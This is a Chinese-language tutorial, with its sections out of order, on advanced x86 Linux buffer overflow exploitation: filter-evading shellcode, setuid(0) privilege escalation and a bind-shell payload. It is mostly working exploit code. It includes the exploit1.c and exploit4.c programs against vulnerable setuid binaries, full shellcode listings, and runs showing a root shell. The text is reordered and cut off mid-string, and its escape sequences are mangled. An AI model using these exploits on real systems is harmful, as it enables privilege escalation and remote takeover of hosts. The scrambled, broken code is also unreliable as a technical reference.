0x804cdb0 <socket+16>: int $0x80
0x804cdb2 <socket+18>: movl %edx,%ebx
0x804cdb4 <socket+20>: cmpl $0xffffff83,%eax
0x804cdb7 <socket+23>: jae 0x804cdc0 <__syscall_error>
0x804cdbd <socket+29>: ret
0x804cdbe <socket+30>: nop
0x804cdbf <socket+31>: nop
End of assembler dump.
(gdb) disassemble bind
Dump of assembler code for function bind:
0x804cd60 <bind>: movl %ebx,%edx
0x804cd62 <bind+2>: movl $0x66,%eax
0x804cd67 <bind+7>: movl $0x2,%ebx
0x804cd6c <bind+12>: leal 0x4(%esp,1),%ecx
0x804cd70 <bind+16>: int $0x80
0x804cd72 <bind+18>: movl %edx,%ebx
0x804cd74 <bind+20>: cmpl $0xffffff83,%eax
0x804cd77 <bind+23>: jae 0x804cdc0 <__syscall_error>
0x804cd7d <bind+29>: ret
0x804cd7e <bind+30>: nop
0x804cd7f <bind+31>: nop
End of assembler dump.
(gdb) disassemble listen
Dump of assembler code for function listen:
0x804cd80 <listen>: movl %ebx,%edx
0x804cd82 <listen+2>: movl $0x66,%eax
0x804cd87 <listen+7>: movl $0x4,%ebx
0x804cd8c <listen+12>: leal 0x4(%esp,1),%ecx
0x804cd90 <listen+16>: int $0x80
0x804cd92 <listen+18>: movl %edx,%ebx
0x804cd94 <listen+20>: cmpl $0xffffff83,%eax
0x804cd97 <listen+23>: jae 0x804cdc0 <__syscall_error>
0x804cd9d <listen+29>: ret
0x804cd9e <listen+30>: nop
0x804cd9f <listen+31>: nop
End of assembler dump.
(gdb) disassemble accept
Dump of assembler code for function __accept:
0x804cd40 <__accept>: movl %ebx,%edx
0x804cd42 <__accept+2>: movl $0x66,%eax
0x804cd47 <__accept+7>: movl $0x5,%ebx
0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx
0x804cd50 <__accept+16>: int $0x80
0x804cd52 <__accept+18>: movl %edx,%ebx
0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax
0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error>
0x804cd5d <__accept+29>: ret
0x804cd5e <__accept+30>: nop
0x804cd5f <__accept+31>: nop
End of assembler dump.
(gdb) disassemble dup2
Dump of assembler code for function dup2:
0x804cbe0 <dup2>: movl %ebx,%edx
0x804cbe2 <dup2+2>: movl 0x8(%esp,1),%ecx
0x804cbe6 <dup2+6>: movl 0x4(%esp,1),%ebx
0x804cbea <dup2+10>: movl $0x3f,%eax
0x804cbef <dup2+15>: int $0x80
0x804cbf1 <dup2+17>: movl %edx,%ebx
0x804cbf3 <dup2+19>: cmpl $0xfffff001,%eax
0x804cbf8 <dup2+24>: jae 0x804cdc0 <__syscall_error>
0x804cbfe <dup2+30>: ret
0x804cbff <dup2+31>: nop
End of assembler dump.
(gdb)
----------------------------------------------------------------------------
fork(); code
----------------------------------------------------------------------------
char code[]=
"/x31/xc0" /* xorl %eax,%eax */
"/xb0/x02" /* movb $0x2,%al */
"/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------
socket(2,1,6); code
----------------------------------------------------------------------------
/* %ecx 是所有参数的一个指针. */
char code[]=
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xf1" /* movl %esi,%ecx */
"/xb0/x02" /* movb $0x2,%al */
"/x89/x06" /* movl %eax,(%esi) */
/* 第一个参数. */
/* 在使用该指令前 %esi 已经释放了存储空间. */
"/xb0/x01" /* movb $0x1,%al */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"/xb0/x06" /* movb $0x6,%al */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
/* 第三个参数. */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x01" /* movb $0x1,%bl */
"/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------
bind(soc,(struct sockaddr *)&serv_addr,0x10); code
----------------------------------------------------------------------------
/* %ecx 是所有参数的一个指针. */
char code[]=
"/x89/xf1" /* movl %esi,%ecx */
"/x89/x06" /* movl %eax,(%esi) */
/* 在使用该指令前,%eax 取得soc的值. */
/* 第一个参数. */
"/xb0/x02" /* movb $0x2,%al */
"/x66/x89/x46/x0c" /* movw %ax,0xc(%esi) */
/* serv_addr.sin_family=2 */
/* 2 被存储在 0xc(%esi) 中. */
"/xb0/x77" /* movb $0x77,%al */
"/x66/x89/x46/x0e" /* movw %ax,0xe(%esi) */
/* 存储的端口号在 0xe(%esi) 中. */
"/x8d/x46/x0c" /* leal 0xc(%esi),%eax */
/* %eax = serv_addr的地址 */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"/x31/xc0" /* xorl %eax,%eax */
"/x89/x46/x10" /* movl %eax,0x10(%esi) */
/* serv_addr.sin_addr.s_addr=0 */
/* 0 被存储在 0x10(%esi) 中. */
"/xb0/x10" /* movb $0x10,%al */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
/* 第三个参数. */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x02" /* movb $0x2,%bl */
"/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------
listen(soc,1); code
----------------------------------------------------------------------------
/* %ecx 是所有参数的一个指针. */
char code[]=
"/x89/xf1" /* movl %esi,%ecx */
"/x89/x06" /* movl %eax,(%esi) */
/* 在使用该指令前,%eax 取得soc的值. */
/* 第一个参数. */
"/xb0/x01" /* movb $0x1,%al */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x04" /* movb $0x4,%bl */
"/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------
accept(soc,0,0); code
----------------------------------------------------------------------------
/* %ecx 是所有参数的一个指针. */
char code[]=
"/x89/xf1" /* movl %esi,%ecx */
"/x89/xf1" /* movl %eax,(%esi) */
/* 在使用该指令前,%eax 取得soc的值. */
/* 第一个参数. */
"/x31/xc0" /* xorl %eax,%eax */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
/* 第二个参数. */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
/* 第三个参数. */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x05" /* movb $0x5,%bl */
"/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------
dup2(cli,0); code
----------------------------------------------------------------------------
/* 第一个参数是 %ebx ,第二个参数是 %ecx */
char code[]=
/* 在使用该指令前,%eax 取得cli的值. */
"/x88/xc3" /* movb %al,%bl */
"/xb0/x3f" /* movb $0x3f,%al */
"/x31/xc9" /* xorl %ecx,%ecx */
"/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------
6.3 修改常规的shellcode
你需要花点工夫来把上面的的代码融合到一块来。
新的shellcode
----------------------------------------------------------------------------
char shellcode[]=
"/x31/xc0" /* xorl %eax,%eax */
"/xb0/x02" /* movb $0x2,%al */
"/xcd/x80" /* int $0x80 */
"/x85/xc0" /* testl %eax,%eax */
"/x75/x43" /* jne 0x43 */
/* fork()!=0 case */
/* 它会调用 exit(0) */
/* 这样做的结果是,它会jump两次, 因为exit(0)被定位得太远了*/
"/xeb/x43" /* jmp 0x43 */
/* fork()==0 case */
/* 它会调用 -0xa5 */
/* 同样的,它也要jump两次,因为 -0xa5 也被定位得很远. */
"/x5e" /* popl %esi */
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xf1" /* movl %esi,%ecx */
"/xb0/x02" /* movb $0x2,%al */
"/x89/x06" /* movl %eax,(%esi) */
"/xb0/x01" /* movb $0x1,%al */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/xb0/x06" /* movb $0x6,%al */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x01" /* movb $0x1,%bl */
"/xcd/x80" /* int $0x80 */
"/x89/x06" /* movl %eax,(%esi) */
"/xb0/x02" /* movb $0x2,%al */
"/x66/x89/x46/x0c" /* movw %ax,0xc(%esi) */
"/xb0/x77" /* movb $0x77,%al */
"/x66/x89/x46/x0e" /* movw %ax,0xe(%esi) */
"/x8d/x46/x0c" /* leal 0xc(%esi),%eax */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x89/x46/x10" /* movl %eax,0x10(%esi) */
"/xb0/x10" /* movb $0x10,%al */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x02" /* movb $0x2,%bl */
"/xcd/x80" /* int $0x80 */
"/xeb/x04" /* jmp 0x4 */
"/xeb/x55" /* jmp 0x55 */
"/xeb/x5b" /* jmp 0x5b */
"/xb0/x01" /* movb $0x1,%al */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x04" /* movb $0x4,%bl */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x05" /* movb $0x5,%bl */
"/xcd/x80" /* int $0x80 */
"/x88/xc3" /* movb %al,%bl */
"/xb0/x3f" /* movb $0x3f,%al */
"/x31/xc9" /* xorl %ecx,%ecx */
"/xcd/x80" /* int $0x80 */
"/xb0/x3f" /* movb $0x3f,%al */
"/xb1/x01" /* movb $0x1,%cl */
"/xcd/x80" /* int $0x80 */
"/xb0/x3f" /* movb $0x3f,%al */
"/xb1/x02" /* movb $0x2,%cl */
"/xcd/x80" /* int $0x80 */
"/xb8/x2f/x62/x69/x6e" /* movl $0x6e69622f,%eax */
/* %eax="/bin" */
"/x89/x06" /* movl %eax,(%esi) */
"/xb8/x2f/x73/x68/x2f" /* movl $0x2f68732f,%eax */
/* %eax="/sh/" */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x88/x46/x07" /* movb %al,0x7(%esi) */
"/x89/x76/x08" /* movl %esi,0x8(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/xb0/x01" /* movb $0x1,%al */
"/x31/xdb" /* xorl %ebx,%ebx */
"/xcd/x80" /* int $0x80 */
"/xe8/x5b/xff/xff/xff"; /* call -0xa5 */
----------------------------------------------------------------------------
6.4 攻击程序
使用该shellcode,我们可以很方便的写出代码来。当然,你还得写个连接套接字
(socket)的代码。
exploit4.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<netdb.h>
#include<netinet/in.h>
#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
char shellcode[]=
"/x31/xc0" /* xorl %eax,%eax */
"/xb0/x02" /* movb $0x2,%al */
"/xcd/x80" /* int $0x80 */
"/x85/xc0" /* testl %eax,%eax */
"/x75/x43" /* jne 0x43 */
"/xeb/x43" /* jmp 0x43 */
"/x5e" /* popl %esi */
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xf1" /* movl %esi,%ecx */
"/xb0/x02" /* movb $0x2,%al */
"/x89/x06" /* movl %eax,(%esi) */
"/xb0/x01" /* movb $0x1,%al */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/xb0/x06" /* movb $0x6,%al */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x01" /* movb $0x1,%bl */
"/xcd/x80" /* int $0x80 */
"/x89/x06" /* movl %eax,(%esi) */
"/xb0/x02" /* movb $0x2,%al */
"/x66/x89/x46/x0c" /* movw %ax,0xc(%esi) */
"/xb0/x77" /* movb $0x77,%al */
"/x66/x89/x46/x0e" /* movw %ax,0xe(%esi) */
"/x8d/x46/x0c" /* leal 0xc(%esi),%eax */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x89/x46/x10" /* movl %eax,0x10(%esi) */
"/xb0/x10" /* movb $0x10,%al */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x02" /* movb $0x2,%bl */
"/xcd/x80" /* int $0x80 */
"/xeb/x04" /* jmp 0x4 */
"/xeb/x55" /* jmp 0x55 */
"/xeb/x5b" /* jmp 0x5b */
"/xb0/x01" /* movb $0x1,%al */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x04" /* movb $0x4,%bl */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/xb0/x66" /* movb $0x66,%al */
"/xb3/x05" /* movb $0x5,%bl */
"/xcd/x80" /* int $0x80 */
"/x88/xc3" /* movb %al,%bl */
"/xb0/x3f" /* movb $0x3f,%al */
"/x31/xc9" /* xorl %ecx,%ecx */
"/xcd/x80" /* int $0x80 */
"/xb0/x3f" /* movb $0x3f,%al */
"/xb1/x01" /* movb $0x1,%cl */
"/xcd/x80" /* int $0x80 */
"/xb0/x3f" /* movb $0x3f,%al */
"/xb1/x02" /* movb $0x2,%cl */
"/xcd/x80" /* int $0x80 */
"/xb8/x2f/x62/x69/x6e" /* movl $0x6e69622f,%eax */
"/x89/x06" /* movl %eax,(%esi) */
"/xb8/x2f/x73/x68/x2f" /* movl $0x2f68732f,%eax */
"/x89/x46/x04" /* movl %eax,0x4(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x88/x46/x07" /* movb %al,0x7(%esi) */
"/x89/x76/x08" /* movl %esi,0x8(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/x31/xc0" /* xorl %eax,%eax */
"/xb0/x01" /* movb $0x1,%al */
"/x31/xdb" /* xorl %ebx,%ebx */
"/xcd/x80" /* int $0x80 */
"/xe8/x5b/xff/xff/xff"; /* call -0xa5 */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
long getip(char *name)
{
struct hostent *hp;
long ip;
if((ip=inet_addr(name))==-1)
{
if((hp=gethostbyname(name))==NULL)
{
fprintf(stderr,"Can't resolve host./n");
exit(0);
}
memcpy(&ip,(hp->h_addr),4);
}
return ip;
}
int exec_sh(int sockfd)
{
char snd[4096],rcv[4096];
fd_set rset;
while(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd,&rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}
int connect_sh(long ip)
{
int sockfd,i;
struct sockaddr_in sin;
printf("Connect to the shell/n");
fflush(stdout);
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(30464);
sin.sin_addr.s_addr=ip;
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("Can't create socket/n");
exit(0);
}
if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
{
printf("Can't connect to the shell/n");
exit(0);
}
return sockfd;
}
void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
int sockfd;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i<bsize;i+=4)
{
buff[i+ALIGN]=(addr&0x000000ff);
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]='/0';
printf("Jump to 0x%08x/n",addr);
if(fork()==0)
{
execl("./vulnerable4","vulnerable4",buff,0);
exit(0);
}
sleep(5);
sockfd=connect_sh(getip("127.0.0.1"));
exec_sh(sockfd);
}
----------------------------------------------------------------------------
运行结果
----------------------------------------------------------------------------
[ user@hosts ~ ] {1} $ ls -l vulnerable4
-rwsr-xr-x 1 root root 4091 Oct 18 20:21 vulnerable4*
[ user@hosts ~ ] {2} $ ls -l exploit4
-rwxr-xr-x 1 ohhara cse 7973 Oct 18 20:25 exploit4*
[ user@hosts ~ ] {3} $ ./exploit4
Jump to 0xbfffec64
Connect to the shell
Can't connect to the shell
[ user@hosts ~ ] {4} $ ./exploit4 500
Jump to 0xbfffea70
Connect to the shell
whoami
root
----------------------------------------------------------------------------
6.5 技巧用途
可用该技术来编写各种各样的远程攻击代码。如果被攻击的主机是在防火墙后的,你可
以在一个未过滤的端口打开一个套接字。这在你使用缓冲溢出来攻击一个rpc服务的
时候是非常之有效的。
7. 总结
本文介绍了4种缓冲溢出的攻击技巧。它们是:绕过过滤器限制,改变UID为0,突破
chroot,和建立套接字连接。这些技巧在编写缓冲溢出攻击代码时非常有帮助。另外这
些技巧也可以组合起来运用。所有程序员在开发setuid root程序和服务程序的时候都
应该特别小心!!!!!!!!!
8. 参考文献
Smashing The Stack For Fun And Profit by Aleph1
wu-ftpd remote exploit code by duke
ADMmountd remote exploit code by ADM
整理:dspman,Solo,backend
日期:1999-12-14
Written by Taeho Oh ( ohhara@postech.edu )
----------------------------------------------------------------------------
Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara
PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus
PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug
----------------------------------------------------------------------------
1.介绍
现今存在着好几种缓冲区溢出的代码程序。早期的缓冲区溢出程序功能比较简单,往往
是仅仅(通过执行 /bin/sh)获得一个 shell 。但是现今的缓冲区溢出程序已具备更
多样化的方法,如绕过过滤器限制、建立套接字、突破chroot等等。这里我们主要介绍
基于(intel x86)Linux下缓冲区溢出编程中一些较为高级的使用技巧。
2.预备知识
你必须了解汇编语言、C语言还有Linux。当然,你还必须知道缓冲区溢出是怎么一回事。
我们站点上有关于缓冲溢出的机理分析可供你参考。你也可以从phrak杂志的49-14找到
有关的缓冲区溢出的的资料(英文)。
3.绕过过滤器限制
许多程序存在缓冲区溢出问题。但是为什么并非所有的缓冲区溢出程序都能被用于获得
shell 呢?这是因为即使某个程序具备了缓冲区溢出的条件,也许仍然很难攻击成功。
在许多情况下是由于程序过滤了一些字符或者把一些字符转变为另一些字符。如果一个
程序过滤了所有的非打印字符,溢出漏洞就几乎不可利用了。但如果程序只过滤了部分
的字符,那你可以通过编写巧妙的缓冲区溢出代码来绕过通过这些过滤机制。:)
3.1 被攻击的例程
vulnerable1.c
----------------------------------------------------------------------------
#include<string.h>
#include<ctype.h>
int main(int argc,int **argv)
{
char buffer[1024];
int i;
if(argc>1)
{
for(i=0;i<strlen(argv[1]);i++)
argv[1][i]=toupper(argv[1][i]);
strcpy(buffer,argv[1]);
}
}
----------------------------------------------------------------------------
这段程序很简单,只完成将用户输入的小写的字母转换为大写的字母。所以,你必须编
写一个不包含任何小写字母的shellcode。如何才能做到呢?需要注意的是,我们必
须面对诸如"/bin/sh"必须是小写的事实。但事实上,我们确实可以做到这一点。:)
3.2 修改常规的shellcode
几乎所有的缓冲区溢出代码使用如下的shellcode。现在你要做的事是把所有的小写字母
从shellocode里去掉。当然,新的shellcode也要使我们获得shell。
常规的shellcode
----------------------------------------------------------------------------
char shellcode[]=
"/xeb/x1f" /* jmp 0x1f */
"/x5e" /* popl %esi */
"/x89/x76/x08" /* movl %esi,0x8(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x88/x46/x07" /* movb %eax,0x7(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xd8" /* movl %ebx,%eax */
"/x40" /* inc %eax */
"/xcd/x80" /* int $0x80 */
"/xe8/xdc/xff/xff/xff" /* call -0x24 */
"/bin/sh"; /* .string /"/bin/sh/" */
----------------------------------------------------------------------------
这段shellcode里包含6个小写字母。(5个在"/bin/sh"里面,1个在"movl %esi,0x8(%esi)"
里)。我们不能直接使用"/bin/sh",因为它会被过滤掉。但是可以在其中插入任意的非
小写字符。也就是说,可以插入"/x2f/x12/x19/x1e/x2f/x23/x18"来代替"/x2f/x62/x69
/x6e/x2f/x73/x68" ( "/bin/sh" )。但是在缓冲区溢出后,我们必须把"/x2f/x12/x19
/x1e/x2f/x23/x18"变成"/x2f/x62/x69/x6e/x2f/x73/x68",这样才可以执行"/bin/sh"。
我们可以通过在SHELLCODE执行时加/x50使/x62,/x69,/x6e,/x73和/x68成为执行代码。
但是如何隐藏在指令"movl %esi,0x8(%esi)"中的/x76呢?可以把"movl %esi,0x8(%esi)"
等效为其他不包含小写字母的指令。比如"movl %esi,0x8(%esi)"能够变成为
"movl %es.,%eax","addl $0x8,%eax","movl %eax,0x8(%esi)"这个指令序列。当然这也
可以用其他的指令来完成,只要改变后的指令中不包含任何小写字母。
以下是经过修改的shellcode
----------------------------------------------------------------------------
char shellcode[]=
"/xeb/x38" /* jmp 0x38 */
"/x5e" /* popl %esi */
"/x80/x46/x01/x50" /* addb $0x50,0x1(%esi) */
"/x80/x46/x02/x50" /* addb $0x50,0x2(%esi) */
"/x80/x46/x03/x50" /* addb $0x50,0x3(%esi) */
"/x80/x46/x05/x50" /* addb $0x50,0x5(%esi) */
"/x80/x46/x06/x50" /* addb $0x50,0x6(%esi) */
"/x89/xf0" /* movl %esi,%eax */
"/x83/xc0/x08" /* addl $0x8,%eax */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x88/x46/x07" /* movb %eax,0x7(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xd8" /* movl %ebx,%eax */
"/x40" /* inc %eax */
"/xcd/x80" /* int $0x80 */
"/xe8/xc3/xff/xff/xff" /* call -0x3d */
"/x2f/x12/x19/x1e/x2f/x23/x18"; /* .string "/bin/sh" */
/* /bin/sh is disguised */
----------------------------------------------------------------------------
3.3 使用攻击程序
利用以上shellcode,可以非常轻松地编写出溢出漏洞攻击代码。
exploit1.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<stdlib.h>
#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 20
#define NOP 0x90
char shellcode[]=
"/xeb/x38" /* jmp 0x38 */
"/x5e" /* popl %esi */
"/x80/x46/x01/x50" /* addb $0x50,0x1(%esi) */
"/x80/x46/x02/x50" /* addb $0x50,0x2(%esi) */
"/x80/x46/x03/x50" /* addb $0x50,0x3(%esi) */
"/x80/x46/x05/x50" /* addb $0x50,0x5(%esi) */
"/x80/x46/x06/x50" /* addb $0x50,0x6(%esi) */
"/x89/xf0" /* movl %esi,%eax */
"/x83/xc0/x08" /* addl $0x8,%eax */
"/x89/x46/x08" /* movl %eax,0x8(%esi) */
"/x31/xc0" /* xorl %eax,%eax */
"/x88/x46/x07" /* movb %eax,0x7(%esi) */
"/x89/x46/x0c" /* movl %eax,0xc(%esi) */
"/xb0/x0b" /* movb $0xb,%al */
"/x89/xf3" /* movl %esi,%ebx */
"/x8d/x4e/x08" /* leal 0x8(%esi),%ecx */
"/x8d/x56/x0c" /* leal 0xc(%esi),%edx */
"/xcd/x80" /* int $0x80 */
"/x31/xdb" /* xorl %ebx,%ebx */
"/x89/xd8" /* movl %ebx,%eax */
"/x40" /* inc %eax */
"/xcd/x80" /* int $0x80 */
"/xe8/xc3/xff/xff/xff" /* call -0x3d */
"/x2f/x12/x19/x1e/x2f/x23/x18"; /* .string "/bin/sh" */
/* /bin/sh is disguised */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
if(argc>1)
offset=atoi(argv[1]);
sp=get_sp();
addr=sp-offset;
for(i=0;i<bsize;i+=4)
{
buff[i+ALIGN]=(addr&0x000000ff);
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}
for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]='/0';
printf("Jump to 0x%08x/n",addr);
execl("./vulnerable1","vulnerable1",buff,0);
}
----------------------------------------------------------------------------
运行结果如下:
----------------------------------------------------------------------------
[ user@host ~ ] {1} $ ls -l vulnerable1
-rwsr-xr-x 1 root root 4342 Oct 18 13:20 vulnerable1*
[ user@host ~ ] {2} $ ls -l exploit1
-rwxr-xr-x 1 ohhara cse 6932 Oct 18 13:20 exploit1*
[ user@host ~ ] {3} $ ./exploit1
Jump to 0xbfffec64
Segmentation fault
[ user@host ~ ] {4} $ ./exploit1 500
Jump to 0xbfffea70
bash# whoami
root
bash#
----------------------------------------------------------------------------
3.4 技巧用途
利用这个技巧,我们可以绕过各种系统不同的过滤机制。当被攻击程序过滤了!@#$%^&*()
时,我们可以编制一个新的shellcode,使之不包含!@#$%^&*()。然而,如果程序过滤了
更多字符,编制shellcode也会变得更加困难。
4. 改变uid为0
setuid成为root的程序是在运行时具有root权限的的程序,一直是被认为安全的一个隐
患。因为它在执行过成中调用了seteuid(0)。许多程序员认为使用seteuid(getuid())
会更安全些,但事实并非如此,用户标识(uid)还是可以变为0。:)
4.1 被攻击的例程
vulnerable2.c
----------------------------------------------------------------------------
#include<string.h>
#include<unistd.h>
int main(int argc,char **argv)
{
char buffer[1024];
seteuid(getuid());
if(argc>1)
strcpy(buffer,argv[1]);
}
----------------------------------------------------------------------------
这个程序从一开始就调用seteuid(getuid())。所以,可以认为后面的
"strcpy(buffer,argv[1]);"是没有问题的。因为即使成功地实现了缓冲区溢出攻击,我
们也只能得到自己的shell。不过,如果在shellcode中加入含有setuid(0)的调用,不就能
够得到root的shell了吗?:)
4.2 编制setuid(0)代码
setuidasm.c
----------------------------------------------------------------------------
main()
{
setuid(0);
}
----------------------------------------------------------------------------
然后编译和反汇编
----------------------------------------------------------------------------
[ user@host ~ ] {1} $ gcc -o setuidasm -static setuidasm.c
[ user@host ~ ] {2} $ gdb setuidasm
GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble setuid
Dump of assembler code for function __setuid:
0x804ca00 <__setuid>: movl %ebx,%edx
0x804ca02 <__setuid+2>: movl 0x4(%esp,1),%ebx
0x804ca06 <__setuid+6>: movl $0x17,%eax
0x804ca0b <__setuid+11>: int $0x80
0x804ca0d <__setuid+13>: movl %edx,%ebx
0x804ca0f <__setuid+15>: cmpl $0xfffff001,%eax
0x804ca14 <__setuid+20>: jae 0x804cc10 <__syscall_error>
0x804ca1a <__setuid+26>: ret
0x804ca1b <__setuid+27>: nop
0x804ca1c <__setuid+28>: nop
0x804ca1d <__setuid+29>: nop
0x804ca1e <__setuid+30>: nop
0x804ca1f <__setuid+31>: nop
End of assembler dump.
(gdb)
----------------------------------------------------------------------------
setuid(0); code
----------------------------------------------------------------------------
char code[]=
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xdb" /* xorl %ebx,%ebx */
"/xb0/x17" /* movb $0x17,%al */
"/xcd/x80"; /* int $0x80 */
----------------------------------------------------------------------------
4.3 修改常规的shellcode
现在只要在常规的shellcode的开头处,插入我们setuid(0)代码就得到了一个新的shellcode。
新的shellcode
----------------------------------------------------------------------------
char shellcode[]=
"/x31/xc0" /* xorl %eax,%eax */
"/x31/xdb" /* xorl %ebx,%ebx */
"/xb0/x17" /* movb $0x17,%al */
"/xcd/x80" /* int $0x80 */
